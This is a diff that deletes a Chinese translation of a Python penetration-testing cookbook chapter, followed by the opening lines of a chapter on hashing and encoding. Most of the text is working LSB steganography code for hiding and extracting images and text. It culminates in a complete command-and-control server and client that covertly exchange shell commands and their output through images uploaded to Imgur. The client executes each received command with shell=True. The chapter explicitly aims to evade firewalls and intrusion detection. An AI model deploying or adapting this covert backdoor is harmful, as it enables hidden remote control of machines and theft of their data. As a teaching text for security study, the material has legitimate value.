-隐写术是将数据隐藏在肉眼可见的地方的艺术。如果要遮罩轨迹，这可能很有用。我们可以使用隐写术来逃避防火墙和 IDS 的检测。在本章中，我们将了解 Python 可以帮助我们在图像中隐藏数据的一些方法。我们将使用**最低有效位**（**LSB**）进行一些基本的图像隐写来隐藏我们的数据，然后我们将创建一个自定义隐写功能。本章的高潮将是创建一个命令和控制系统，该系统使用我们精心制作的图像在服务器和客户端之间进行数据通信。
-
-下图是一个图像的示例，其中隐藏了另一个图像。你可以看到（或者可能看不到）人眼不可能检测到任何东西：
-
-
-
-# 使用 LSB 隐写术隐藏消息
-
-在这个配方中，我们将使用 LSB 隐写术方法创建一个隐藏另一个图像的图像。这是最常见的隐写术形式之一。因为仅仅有一种隐藏数据的方法是不好的，我们还将编写一个脚本来提取隐藏的数据。
-
-## 准备好了吗
-
-我们将在本章中遇到的所有图像工作都将使用**Python 图像库**（**PIL**）。要在 Linux 上使用`PIP`安装 Python 映像库，请使用以下命令：
-
-```
-$ pip install PIL
-
-```
-
-如果要在 Windows 上安装，可能需要使用[上提供的安装程序 http://www.pythonware.com/products/pil/](http://www.pythonware.com/products/pil/) 。
-
-只需确保为您的 Python 版本安装了正确的安装程序。
-
-值得注意的是，PIL 已被更新版本的枕头取代。但是为了我们的需要，PIL 会很好的。
-
-## 怎么做…
-
-图像是由像素创建的，每个像素都由红色、绿色和蓝色（RGB）值组成（对于彩色图像）。这些值的范围从 0 到 255，其原因是每个值的长度为 8 位。纯黑色像素将由（R（0）、G（0）、B（0））的元组表示，纯白色像素将由（R（255）、G（255）、B（255））表示。我们将重点关注第一个配方的`R`值的二进制表示。我们将采用 8 位值并更改最右边的位。这样做的原因是，对该位的更改将等于像素红色值的 0.4%以下的更改。这远远低于人眼所能检测到的。
-
-现在让我们看一下这个脚本，然后我们将在后面介绍它是如何工作的：
-
-```
- #!/usr/bin/env python
-
-from PIL import Image
-
-def Hide_message(carrier, message, outfile):
- c_image = Image.open(carrier)
- hide = Image.open(message)
- hide = hide.resize(c_image.size)
- hide = hide.convert('1')
- out = Image.new('RGB', c_image.size)
-
- width, height = c_image.size
-
- new_array = []
-
- for h in range(height):
- for w in range(width):
- ip = c_image.getpixel((w,h))
- hp = hide.getpixel((w,h))
- if hp == 0:
- newred = ip[0] & 254
- else:
- newred = ip[0] | 1
-
- new_array.append((newred, ip[1], ip[2]))
-
- out.putdata(new_array)
- out.save(outfile)
- print "Steg image saved to " + outfile
-
-Hide_message('carrier.png', 'message.png', 'outfile.png')
-```
-
-## 它是如何工作的…
-
-首先，我们从`PIL`导入`Image`模块：
-
-```
-from PIL import Image
-```
-
-然后，我们创建我们的`Hide_message`函数：
-
-```
-def Hide_message(carrier, message, outfile):
-```
-
-此函数采用三个参数，如下所示：
-
-* `carrier`：这是我们用来隐藏其他图像的图像的文件名
-* `message`：这是我们要隐藏的图像的文件名
-* `outfile`：这是我们的函数将生成的新文件的名称
-
-接下来，我们打开载体和消息图像：
-
-```
-c_image = Image.open(carrier)
-hide = Image.open(message)
-```
-
-然后我们操纵我们将隐藏的图像，使其与载体图像的大小（宽度和高度）相同。我们还将要隐藏的图像转换为纯黑白。这是通过将图像模式设置为`1`完成的：
-
-```
-hide = hide.resize(c_image.size)
-hide = hide.convert('1')
-```
-
-接下来，我们创建一个新图像，并将图像模式设置为 RGB，大小设置为载体图像的大小。我们创建两个变量来保存载体图像宽度和高度的值，并设置一个数组；此阵列将保存我们的新像素值，我们最终将保存到新图像中，如下所示：
-
-```
-out = Image.new('RGB', c_image.size)
-
-width, height = c_image.size
-
-new_array = []
-```
-
-接下来是我们函数的主要部分。我们需要得到要隐藏的像素的值。如果是黑色像素，则我们将载波红色像素的 LSB 设置为`0`，如果是白色，则需要将其设置为`1`。我们可以通过使用掩码的逐位操作轻松做到这一点。如果我们想将 LSB 设置为`0`，我们可以使用`254`将值设置为`AND`，或者如果我们想将值设置为`1`，我们可以使用`1`将值设置为`OR`。
-
-我们循环遍历图像中的所有像素，一旦我们得到`newred`值，我们将这些值与原始的绿色和蓝色值一起附加到`new_array`中：
-
-```
- for h in range(height):
- for w in range(width):
- ip = c_image.getpixel((w,h))
- hp = hide.getpixel((w,h))
- if hp == 0:
- newred = ip[0] & 254
- else:
- newred = ip[0] | 1
-
- new_array.append((newred, ip[1], ip[2]))
-
- out.putdata(new_array)
- out.save(outfile)
- print "Steg image saved to " + outfile
-```
-
-在函数的末尾，我们使用`putdata`方法将我们的新像素值数组添加到新图像中，然后使用`outfile`指定的文件名保存文件。
-
-需要注意的是，您必须将图像保存为 PNG 文件。这是一个重要的步骤，因为 PNG 是一种无损算法。例如，如果要将图像另存为 JPEG，则不会保留 LSB 值，因为 JPEG 使用的压缩算法将更改我们指定的值。
-
-## 还有更多…
-
-我们使用了红色值 LSB 来隐藏我们在这个配方中的图像；但是，您可以使用任意 RGB 值，甚至全部三个值。一些隐写术方法将在多个像素上分割 8 位，以便在 RGBRGBRG 上分割每个位，依此类推。当然，如果你想使用这种方法，你的载体图像需要比你想要隐藏的信息大得多。
-
-## 另见
-
-所以，我们现在有了一种隐藏图像的方法。在下面的配方中，我们将研究如何提取该消息。
-
-# 提取 LSB 中隐藏的消息
-
-这个配方将允许我们使用前面配方中的 LSB 技术提取隐藏在图像中的消息。
-
-## 怎么做…
-
-如前一个配方所示，我们使用 RGB 像素的`Red`值的 LSB 从我们想要隐藏的图像中隐藏黑色或白色像素。此配方将反转该过程，将隐藏的黑白图像从载体图像中拉出。让我们来看看这样做的功能：
-
-```
-#!/usr/bin/env python
-
-from PIL import Image
-
-def ExtractMessage(carrier, outfile):
- c_image = Image.open(carrier)
- out = Image.new('L', c_image.size)
- width, height = c_image.size
- new_array = []
-
- for h in range(height):
- for w in range(width):
- ip = c_image.getpixel((w,h))
- if ip[0] & 1 == 0:
- new_array.append(0)
- else:
- new_array.append(255)
-
- out.putdata(new_array)
- out.save(outfile)
- print "Message extracted and saved to " + outfile
-
-ExtractMessage('StegTest.png', 'extracted.png')
-```
-
-## 它是如何工作的…
-
-首先我们从 Python 镜像库导入`Image`模块：
-
-```
-from PIL import Image
-```
-
-接下来，我们设置用于提取消息的函数。该函数接受两个参数：`carrier`图像文件名和我们要用提取的图像创建的文件名：
-
-```
-def ExtractMessage(carrier, outfile):
-```
-
-接下来，我们从`carrier`图像创建一个`Image`对象。我们还为提取的数据创建新图像；此图像的模式设置为`L`，因为我们正在创建灰度图像。我们创建两个变量来保持载体图像的宽度和高度。最后，我们设置了一个数组，用于保存提取的数据值：
-
-```
-c_image = Image.open(carrier)
-out = Image.new('L', c_image.size)
-
-width, height = c_image.size
-
-new_array = []
-```
-
-现在，进入函数的主要部分：提取。我们创建`for`循环来迭代载体的像素。我们使用`Image`对象和`getpixel`函数返回像素的 RGB 值。为了从像素的红色值中提取 LSB，我们使用了位掩码。如果我们使用带有红色值的按位`AND`并使用`1,`掩码，那么如果 LSB 是`0,`，我们将返回一个`0`，如果它是`1`，我们将返回一个`1`。因此，我们可以将其放入`if`语句中，为新数组创建值。当我们创建灰度图像时，像素值的范围从`0`到`255`，因此，如果我们知道 LSB 是`1,`，我们将其转换为`255`。这差不多就是全部了。剩下要做的就是使用我们的新图像`putdata`方法从数组中创建图像，然后保存。
-
-## 还有更多…
-
-到目前为止，我们已经研究了将一个图像隐藏在另一个图像中，但是有许多其他方法可以将不同的数据隐藏在其他载体中。有了这个提取功能和之前隐藏图像的方法，我们就可以通过消息发送和接收命令了，但是我们必须找到更好的发送实际命令的方法。下一个方法将着重于在图像中隐藏实际文本。
-
-# 在图像中隐藏文本
-
-在之前的配方中，我们已经研究了在另一个配方中隐藏图像。这一切都很好，但本章的主要目的是传递可以在命令和控件样式格式中使用的文本。此方法的目的是在图像中隐藏一些文本。
-
-## 怎么做…
-
-到目前为止，我们关注的是像素的 RGB 值。在 PNGs 中，我们可以访问另一个值，`A`值。`RGBA`的`A`值是该像素的透明度级别。在这个配方中，我们将使用这种模式，因为它将允许我们在 LSB 中跨两个像素存储每个值的 8 位。这意味着我们可以在两个像素上隐藏一个`char`值，因此我们需要一个像素计数至少是我们试图隐藏字符数两倍的图像。
-
-让我们看一下脚本：
-
-```
-from PIL import Image
-
-def Set_LSB(value, bit):
- if bit == '0':
- value = value & 254
- else:
- value = value | 1
- return value
-
-def Hide_message(carrier, message, outfile):
- message += chr(0)
- c_image = Image.open(carrier)
- c_image = c_image.convert('RGBA')
-
- out = Image.new(c_image.mode, c_image.size)
- pixel_list = list(c_image.getdata())
- new_array = []
-
- for i in range(len(message)):
- char_int = ord(message[i])
- cb = str(bin(char_int))[2:].zfill(8)
- pix1 = pixel_list[i*2]
- pix2 = pixel_list[(i*2)+1]
- newpix1 = []
- newpix2 = []
-
- for j in range(0,4):
- newpix1.append(Set_LSB(pix1[j], cb[j]))
- newpix2.append(Set_LSB(pix2[j], cb[j+4]))
-
- new_array.append(tuple(newpix1))
- new_array.append(tuple(newpix2))
-
- new_array.extend(pixel_list[len(message)*2:])
-
- out.putdata(new_array)
- out.save(outfile)
- print "Steg image saved to " + outfile
-
-Hide_message('c:\\python27\\FunnyCatPewPew.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png')
-```
-
-## 它是如何工作的…
-
-首先，我们从`PIL`导入`Image`模块：
-
-```
-from PIL import Image
-```
-
-接下来，我们设置一个 helper 函数，该函数将帮助根据要隐藏的二进制文件设置传入值的 LSB：
-
-```
-def Set_LSB(value, bit):
- if bit == '0':
- value = value & 254
- else:
- value = value | 1
- return value
-```
-
-我们使用位掩码根据传入的二进制值是`1`还是`0`来设置 LSB。如果是一个`0,`我们使用位`AND`和`254`（11111110）掩码，如果是一个`1,`我们使用位`OR`和`1`（00000001）掩码。结果值从函数返回。
-
-接下来，我们创建主要的`Hide_message`方法，该方法采用三个参数：载体图像的文件名、要隐藏的消息的字符串，以及我们将为输出创建的图像的文件名：
-
-```
-def Hide_message(carrier, message, outfile):
-```
-
-下一行代码将`0x00`的值添加到字符串的末尾。这在提取函数中很重要，因为它会让我们知道我们已经到达隐藏文本的末尾。我们使用`chr()`函数将`0x00`转换为字符串友好表示：
-
-```
-message += chr(0)
-```
-
-下面的代码部分创建了两个图像对象：一个是载体，另一个是输出图像。对于载体图像，我们将模式更改为`RGBA`，以确保每个像素有四个值。然后我们创建几个数组：`pixel_list`是我们载体图像的所有像素数据，`new_array`将保存我们组合的`carrier`和`message`图像的所有新像素值：
-
-```
-c_image = Image.open(carrier)
-c_image = c_image.convert('RGBA')
-out = Image.new(c_image.mode, c_image.size)
-
-pixel_list = list(c_image.getdata())
-new_array = []
-```
-
-接下来，我们在`for`循环中循环消息中的每个字符：
-
-```
-for i in range(len(message)):
-```
-
-我们首先将角色转换为一个`int`：
-
-```
-char_int = ord(message[i])
-```
-
-然后我们将该`int`转换为二进制字符串，我们将`zfill`字符串转换为`8`字符长。这将使以后更容易。当您使用`bin(),`时，它将以 0 位作为字符串的前缀，因此`[2:]`只是将其去掉：
-
-```
-cb = str(bin(char_int))[2:].zfill(8)
-```
-
-接下来，我们创建两个像素变量并填充它们。我们使用当前消息字符索引`*2`作为第一个像素，使用（当前消息字符索引`*2`和`1`作为第二个像素。这是因为我们每个字符使用两个像素：
-
-```
-pix1 = pixel_list[i*2]
-pix2 = pixel_list[(i*2)+1]
-```
-
-接下来，我们创建两个数组来保存隐藏数据的值：
-
-```
-newpix1 = []
-newpix2 = []
-```
-
-现在一切都设置好了，我们可以开始更改我们迭代`4`次的像素数据的值（对于`RGBA`值），并调用我们的助手方法来设置 LSB。`newpix1`函数将包含 8 位字符的前 4 位；`newpix2`将有最后一个`4`：
-
-```
-for j in range(0,4):
- newpix1.append(Set_LSB(pix1[j], cb[j]))
- newpix2.append(Set_LSB(pix2[j], cb[j+4]))
-```
-
-一旦我们有了新的值，我们将把它们转换成元组，并将它们附加到`new_array:`中
-
-```
-new_array.append(tuple(newpix1))
-new_array.append(tuple(newpix2))
-```
-
-下图描述了我们将实现的目标：
-
-
-
-剩下要做的就是用我们载体图像的剩余像素扩展`new_array`方法，然后使用传递给`Hide_message`函数的`filename`参数保存它：
-
-```
-new_array.extend(pixel_list[len(message)*2:])
-
-out.putdata(new_array)
-out.save(outfile)
-print "Steg image saved to " + outfile
-```
-
-## 还有更多…
-
-正如在本配方开始时所述，我们需要确保载体图像像素数是我们想要隐藏的消息大小的两倍。我们可以添加一个检查，如下所示：
-
-```
-if len(message) * 2 < len(list(image.getdata())):
- #Throw an error and advise the user
-```
-
-这就是这个食谱的基本内容；现在，我们可以在图像中隐藏文本，并且使用前面的方法，我们也可以隐藏图像。在下一个配方中，我们将提取文本数据。
-
-# 从图像中提取文本
-
-在前面的配方中，我们看到了如何在图像的`RGBA`值中隐藏文本。这个配方可以让我们把数据提取出来。
-
-## 怎么做…
-
-我们在前面的配方中看到，我们将一个字符字节拆分为 8 位，并将它们分布在两个像素的 LSB 上。这张图再次作为复习：
-
-
-
-以下是将执行提取的脚本：
-
-```
-from PIL import Image
-from itertools import izip
-
-def get_pixel_pairs(iterable):
- a = iter(iterable)
- return izip(a, a)
-
-def get_LSB(value):
- if value & 1 == 0:
- return '0'
- else:
- return '1'
-
-def extract_message(carrier):
- c_image = Image.open(carrier)
- pixel_list = list(c_image.getdata())
- message = ""
-
- for pix1, pix2 in get_pixel_pairs(pixel_list):
- message_byte = "0b"
- for p in pix1:
- message_byte += get_LSB(p)
-
- for p in pix2:
- message_byte += get_LSB(p)
-
- if message_byte == "0b00000000":
- break
-
- message += chr(int(message_byte,2))
- return message
-
-print extract_message('messagehidden.png')
-```
-
-## 它是如何工作的…
-
-首先我们从`PIL`导入`Image`模块；我们还从`itertools`导入`izip`模块。`izip`模块将用于返回像素对：
-
-```
-from PIL import Image
-from itertools import izip
-```
-
-接下来，我们创建两个助手函数。`get_pixel_pairs`函数接收我们的像素列表并返回对；由于每个消息字符被拆分为两个像素，因此提取更容易。另一个助手函数`get_LSB`将接受一个`R`、`G`、`B`或`A`值，并使用位掩码获取 LSB 值并以字符串格式返回：
-
-```
-def get_pixel_pairs(iterable):
- a = iter(iterable)
- return izip(a, a)
-
-def get_LSB(value):
- if value & 1 == 0:
- return '0'
- else:
- return '1'
-```
-
-接下来，我们有我们的主要`extract_message`功能。这将接收我们的运营商映像的文件名：
-
-```
-def extract_message(carrier):
-```
-
-然后我们根据传入的文件名创建一个图像对象，然后根据图像数据创建一个像素数组。我们还创建了一个名为`message`的空字符串；这将保存我们提取的文本：
-
-```
-c_image = Image.open(carrier)
-pixel_list = list(c_image.getdata())
-message = ""
-```
-
-接下来，我们创建一个`for`循环，该循环将迭代使用辅助函数`get_pixel_pairs;`返回的所有像素对。我们将返回的像素对设置为`pix1`和`pix2:`
-
-```
-for pix1, pix2 in get_pixel_pairs(pixel_list):
-```
-
-我们将创建的代码的下一部分是一个字符串变量，它将保存二进制字符串。Python 知道它将是由`0b`前缀表示的字符串的二进制表示。然后，我们迭代每个像素（`pix1`和`pix2`中的`RGBA`值，并将该值传递给我们的帮助函数`get_LSB`，返回的值附加到二进制字符串上：
-
-```
-message_byte = "0b"
-for p in pix1:
- message_byte += get_LSB(p)
-for p in pix2:
- message_byte += get_LSB(p)
-```
-
-当前面的代码运行时，我们将获得隐藏字符的二进制字符串表示形式。字符串将类似于`0b01100111`，我们在隐藏的消息末尾放置了一个停止字符，即`0x00`，当提取部分输出时，我们需要打破`for`循环，因为我们知道我们已经到达隐藏文本的末尾。下一部分为我们进行检查：
-
-```
-if message_byte == "0b00000000":
- break
-```
-
-如果它不是我们的停止字节，那么我们可以将该字节转换为其原始字符，并将其附加到消息字符串的末尾：
-
-```
-message += chr(int(message_byte,2))
-```
-
-剩下要做的就是从函数返回完整的消息字符串。
-
-## 还有更多…
-
-现在我们有了隐藏和提取函数，我们可以将它们组合成一个类，用于下一个配方。我们将添加一个检查，以测试该类是否已被其他类使用，或者是否正在自己运行。整个脚本如下所示。`hide`和`extract`函数已稍微修改，以接受图像 URL；此脚本将在[第 8 章](25.html "Chapter 8. Payloads and Shells")、*有效载荷和炮弹*中的 C2 示例中使用：
-
-```
-#!/usr/bin/env python
-
-import sys
-import urllib
-import cStringIO
-
-from optparse import OptionParser
-from PIL import Image
-from itertools import izip
-
-def get_pixel_pairs(iterable):
- a = iter(iterable)
- return izip(a, a)
-
-def set_LSB(value, bit):
- if bit == '0':
- value = value & 254
- else:
- value = value | 1
- return value
-
-def get_LSB(value):
- if value & 1 == 0:
- return '0'
- else:
- return '1'
-
-def extract_message(carrier, from_url=False):
- if from_url:
- f = cStringIO.StringIO(urllib.urlopen(carrier).read())
- c_image = Image.open(f)
- else:
- c_image = Image.open(carrier)
-
- pixel_list = list(c_image.getdata())
- message = ""
-
- for pix1, pix2 in get_pixel_pairs(pixel_list):
- message_byte = "0b"
- for p in pix1:
- message_byte += get_LSB(p)
-
- for p in pix2:
- message_byte += get_LSB(p)
-
- if message_byte == "0b00000000":
- break
-
- message += chr(int(message_byte,2))
- return message
-
-def hide_message(carrier, message, outfile, from_url=False):
- message += chr(0)
- if from_url:
- f = cStringIO.StringIO(urllib.urlopen(carrier).read())
- c_image = Image.open(f)
- else:
- c_image = Image.open(carrier)
-
- c_image = c_image.convert('RGBA')
-
- out = Image.new(c_image.mode, c_image.size)
- width, height = c_image.size
- pixList = list(c_image.getdata())
- newArray = []
-
- for i in range(len(message)):
- charInt = ord(message[i])
- cb = str(bin(charInt))[2:].zfill(8)
- pix1 = pixList[i*2]
- pix2 = pixList[(i*2)+1]
- newpix1 = []
- newpix2 = []
-
- for j in range(0,4):
- newpix1.append(set_LSB(pix1[j], cb[j]))
- newpix2.append(set_LSB(pix2[j], cb[j+4]))
-
- newArray.append(tuple(newpix1))
- newArray.append(tuple(newpix2))
-
- newArray.extend(pixList[len(message)*2:])
-
- out.putdata(newArray)
- out.save(outfile)
- return outfile
-
-if __name__ == "__main__":
-
- usage = "usage: %prog [options] arg1 arg2"
- parser = OptionParser(usage=usage)
- parser.add_option("-c", "--carrier", dest="carrier",
- help="The filename of the image used as the carrier.",
- metavar="FILE")
- parser.add_option("-m", "--message", dest="message",
- help="The text to be hidden.",
- metavar="FILE")
- parser.add_option("-o", "--output", dest="output",
- help="The filename the output file.",
- metavar="FILE")
- parser.add_option("-e", "--extract",
- action="store_true", dest="extract", default=False,
- help="Extract hidden message from carrier and save to output filename.")
- parser.add_option("-u", "--url",
- action="store_true", dest="from_url", default=False,
- help="Extract hidden message from carrier and save to output filename.")
-
- (options, args) = parser.parse_args()
- if len(sys.argv) == 1:
- print "TEST MODE\nHide Function Test Starting ..."
- print hide_message('carrier.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png')
- print "Hide test passed, testing message extraction ..."
- print extract_message('messagehidden.png')
- else:
- if options.extract == True:
- if options.carrier is None:
- parser.error("a carrier filename -c is required for extraction")
- else:
- print extract_message(options.carrier, options.from_url)
- else:
- if options.carrier is None or options.message is None or options.output is None:
- parser.error("a carrier filename -c, message filename -m and output filename -o are required for steg")
- else:
- hide_message(options.carrier, options.message, options.output, options.from_url)
-```
-
-# 使用隐写术启用命令和控制
-
-这个配方将展示如何使用隐写术来控制另一台机器。如果您试图躲避**入侵检测系统**（**IDS**））/防火墙，这将非常方便。在这个场景中，会看到的唯一流量是进出客户端机器的 HTTPS 流量。此配方将显示基本的服务器和客户端设置。
-
-## 准备好了吗
-
-在这个配方中，我们将使用图像共享网站 Imgur 来托管我们的图像。原因很简单，就是用于 Imgur 的 pythonapi 易于安装和使用。不过，你可以选择和另一个人一起工作。但是，如果您希望使用此脚本并注册应用程序以获取 API 密钥和密码，则需要使用 Imgur 创建一个帐户。完成后，您可以使用`pip:`安装`imgur`Python 库
-
-```
-$ pip install imgurpython
-
-```
-
-您可以在[注册账户 http://www.imgur.com](http://www.imgur.com) 。
-
-注册帐户后，您可以注册应用程序，从[获取 API 密钥和密码 https://api.imgur.com/oauth2/addclient](https://api.imgur.com/oauth2/addclient) 。
-
-拥有 imgur 帐户后，您需要创建一个相册并将图像上载到其中。
-
-此配方还将从上一配方导入完整的 stego 文本脚本。
-
-## 怎么做…
-
-这个食谱的运作方式分为两部分。我们将有一个脚本运行并充当服务器，另一个脚本运行并充当客户端。我们的脚本将遵循的基本步骤如下所示：
-
-1. 服务器脚本已运行。
-2. 服务器等待客户端宣布它已准备就绪。
-3. 客户端脚本正在运行。
-4. 客户端通知服务器它已经准备好了。
-5. 服务器显示客户端正在等待，并提示用户将命令发送到客户端。
-6. 服务器发送一个命令。
-7. 服务器等待响应。
-8. 客户端接收命令并运行它。
-9. 客户端将命令的输出发送回服务器。
-10. 服务器接收来自客户端的输出并将其显示给用户。
-11. 重复步骤 5 至 10，直到发送`quit`命令。
-
-考虑到这些步骤，让我们先看看服务器脚本：
-
-```
-from imgurpython import ImgurClient
-import StegoText, random, time, ast, base64
-
-def get_input(string):
- ''' Get input from console regardless of python 2 or 3 '''
- try:
- return raw_input(string)
- except:
- return input(string)
-
-def create_command_message(uid, command):
- command = str(base64.b32encode(command.replace('\n','')))
- return "{'uuid':'" + uid + "','command':'" + command + "'}"
-
-def send_command_message(uid, client_os, image_url):
- command = get_input(client_os + "@" + uid + ">")
- steg_path = StegoText.hide_message(image_url, create_command_message(uid, command), "Imgur1.png", True)
- print "Sending command to client ..."
- uploaded = client.upload_from_path(steg_path)
- client.album_add_images(a[0].id, uploaded['id'])
-
- if command == "quit":
- sys.exit()
-
- return uploaded['datetime']
-
-def authenticate():
- client_id = ''
- client_secret = ''
-
- client = ImgurClient(client_id, client_secret)
- authorization_url = client.get_auth_url('pin')
-
- print("Go to the following URL: {0}".format(authorization_url))
- pin = get_input("Enter pin code: ")
-
- credentials = client.authorize(pin, 'pin')
- client.set_user_auth(credentials['access_token'], credentials['refresh_token'])
-
- return client
-
-client = authenticate()
-a = client.get_account_albums("C2ImageServer")
-
-imgs = client.get_album_images(a[0].id)
-last_message_datetime = imgs[-1].datetime
-
-print "Awaiting client connection ..."
-
-loop = True
-while loop:
- time.sleep(5)
- imgs = client.get_album_images(a[0].id)
- if imgs[-1].datetime > last_message_datetime:
- last_message_datetime = imgs[-1].datetime
- client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
- if client_dict['status'] == "ready":
- print "Client connected:\n"
- print "Client UUID:" + client_dict['uuid']
- print "Client OS:" + client_dict['os']
- else:
- print base64.b32decode(client_dict['response'])
-
- random.choice(client.default_memes()).link
- last_message_datetime = send_command_message(client_dict['uuid'],
- client_dict['os'],
- random.choice(client.default_memes()).link)
-```
-
-以下是我们客户的脚本：
-
-```
-from imgurpython import ImgurClient
-import StegoText
-import ast, os, time, shlex, subprocess, base64, random, sys
-
-def get_input(string):
- try:
- return raw_input(string)
- except:
- return input(string)
-
-def authenticate():
- client_id = ''
- client_secret = ''
-
- client = ImgurClient(client_id, client_secret)
- authorization_url = client.get_auth_url('pin')
-
- print("Go to the following URL: {0}".format(authorization_url))
- pin = get_input("Enter pin code: ")
-
- credentials = client.authorize(pin, 'pin')
- client.set_user_auth(credentials['access_token'], credentials['refresh_token'])
-
- return client
-
-client_uuid = "test_client_1"
-
-client = authenticate()
-a = client.get_account_albums("")
-
-imgs = client.get_album_images(a[0].id)
-last_message_datetime = imgs[-1].datetime
-
-steg_path = StegoText.hide_message(random.choice(client.default_memes()). link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}", "Imgur1.png",True)
-uploaded = client.upload_from_path(steg_path)
-client.album_add_images(a[0].id, uploaded['id'])
-last_message_datetime = uploaded['datetime']
-
-while True:
-
- time.sleep(5)
- imgs = client.get_album_images(a[0].id)
- if imgs[-1].datetime > last_message_datetime:
- last_message_datetime = imgs[-1].datetime
- client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
- if client_dict['uuid'] == client_uuid:
- command = base64.b32decode(client_dict['command'])
-
- if command == "quit":
- sys.exit(0)
-
- args = shlex.split(command)
- p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True)
- (output, err) = p.communicate()
- p_status = p.wait()
-
- steg_path = StegoText.hide_message(random.choice (client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}", "Imgur1.png", True)
- uploaded = client.upload_from_path(steg_path)
- client.album_add_images(a[0].id, uploaded['id'])
- last_message_datetime = uploaded['datetime']
-```
-
-## 它是如何工作的…
-
-首先，我们创建一个`imgur`客户端对象；authenticate 函数处理使用我们的帐户和应用程序对`imgur`客户端进行身份验证。当您运行脚本时，它将输出一个要访问的 URL，以获取要输入的 pin 码。然后它会为我们的 imgur 用户名获取一个相册列表。如果您尚未创建相册，脚本将失败，请确保您已准备好相册。我们将获取列表中的第一张相册，并获得该相册中包含的所有图像的进一步列表。
-
-图像列表通过将最早上传的图像放在第一位来排序；为了让脚本正常工作，我们需要知道最新上传图像的时间戳，因此我们使用`[-1]`索引获取它并将其存储在变量中。完成此操作后，服务器将等待客户端连接：
-
-```
-client = authenticate()
-a = client.get_account_albums("")
-
-imgs = client.get_album_images(a[0].id)
-last_message_datetime = imgs[-1].datetime
-
-print "Awaiting client connection ..."
-```
-
-一旦服务器等待客户端连接，我们就可以运行客户端脚本。客户端脚本的初始启动创建一个`imgur`客户端对象，就像服务器一样，而不是等待；但是，它会生成一条消息并将其隐藏在随机图像中。此消息包含客户端正在运行的`os`类型（这将使服务器用户更容易知道要运行的命令）、`ready`状态，以及客户端的标识符（如果您希望在脚本上展开以允许多个客户端连接到服务器）。
-
-上传图像后，`last_message_datetime`功能设置为新的时间戳：
-
-```
-client_uuid = "test_client_1"
-
-client = authenticate()
-a = client.get_account_albums("C2ImageServer")
-
-imgs = client.get_album_images(a[0].id)
-last_message_datetime = imgs[-1].datetime
-
-steg_path = StegoText.hide_message(random.choice (client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}", "Imgur1.png",True)
-uploaded = client.upload_from_path(steg_path)
-client.album_add_images(a[0].id, uploaded['id'])
-last_message_datetime = uploaded['datetime']
-```
-
-服务器将等待，直到它看到消息；它通过使用`while`循环来实现这一点，并检查图像日期时间是否晚于我们启动它时保存的日期时间。一旦它看到有一个新的图像，它将下载它并提取信息。然后检查消息，看它是否是客户机就绪消息；如果是，则显示`uuid`客户端和`os`类型，并提示用户输入：
-
-```
-loop = True
-while loop:
- time.sleep(5)
- imgs = client.get_album_images(a[0].id)
- if imgs[-1].datetime > last_message_datetime:
- last_message_datetime = imgs[-1].datetime
- client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
- if client_dict['status'] == "ready":
- print "Client connected:\n"
- print "Client UUID:" + client_dict['uuid']
- print "Client OS:" + client_dict['os']
-```
-
-用户输入命令后，使用 base32 对其进行编码，以避免破坏我们的消息字符串。然后将其隐藏在随机图像中，并上传到 imgur。客户端处于等待此消息的 while 循环中。这个循环的开始检查日期时间的方式与我们的服务器相同；如果它看到一个新的图像，它会检查是否使用`uuid`将其发送到此机器，如果是，它会提取消息，将其转换为友好的格式，`Popen`将使用`shlex,`接受该格式，然后使用`Popen`运行该命令。然后，它等待命令的输出，然后将其隐藏在随机图像中并上载到 imgur：
-
-```
-loop = True
-while loop:
-
- time.sleep(5)
- imgs = client.get_album_images(a[0].id)
- if imgs[-1].datetime > last_message_datetime:
- last_message_datetime = imgs[-1].datetime
- client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True))
- if client_dict['uuid'] == client_uuid:
- command = base64.b32decode(client_dict['command'])
-
- if command == "quit":
- sys.exit(0)
-
- args = shlex.split(command)
- p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True)
- (output, err) = p.communicate()
- p_status = p.wait()
-
- steg_path = StegoText.hide_message(random.choice (client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}", "Imgur1.png", True)
- uploaded = client.upload_from_path(steg_path)
- client.album_add_images(a[0].id, uploaded['id'])
- last_message_datetime = uploaded['datetime']
-```
-
-服务器只需获取新图像，提取隐藏输出，并将其显示给用户即可。然后它给出一个新的提示并等待下一个命令。就这样,；这是一种通过隐写术传递命令和控制数据的非常简单的方法。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/24.md b/trans/py-pentest-dev/24.md
deleted file mode 100644
index 1d88631..0000000
--- a/trans/py-pentest-dev/24.md
+++ /dev/null
@@ -1,1102 +0,0 @@
-# 第 7 章加密与编码
-
-在本章中，我们将介绍以下主题：
-
-* 生成 MD5 哈希
-* 生成 SHA 1/128/256 哈希
-* 同时实现 SHA 和 MD5 哈希
-* 在真实场景中实现 SHA
-* 生成 Bcrypt 散列
-* 破解 MD5 哈希
-* 使用 Base64 编码
-* 用 ROT13 编码
-* 破解替换密码
-* 破解 Atbash 密码
-* 攻击一次性 pad 重用
-* 线性同余发生器的预测
-* 识别散列
-
-# 导言
-
-在本章中，我们将介绍 Python 世界中的加密和编码。加密和编码是 web 应用程序的两个非常重要的方面，因此使用 Python 来实现它们！
-
-我们将深入了解 MD5 和 SHA 哈希的世界，敲开 Base64 和 ROT13 的大门，并了解一些最流行的哈希和密码。我们还将回顾过去，并研究一些非常古老的方法和方法来制造和打破它们。
-
-# 生成 MD5 哈希
-
-MD5 散列是 web 应用程序中最常用的散列之一，因为它易于使用，并且散列速度快。MD5 散列是 1991 年发明的，用来取代以前的版本 MD4，至今仍在使用。
-
-## 准备好了吗
-
-对于这个脚本，我们只需要`hashlib`模块。
-
-## 怎么做…
-
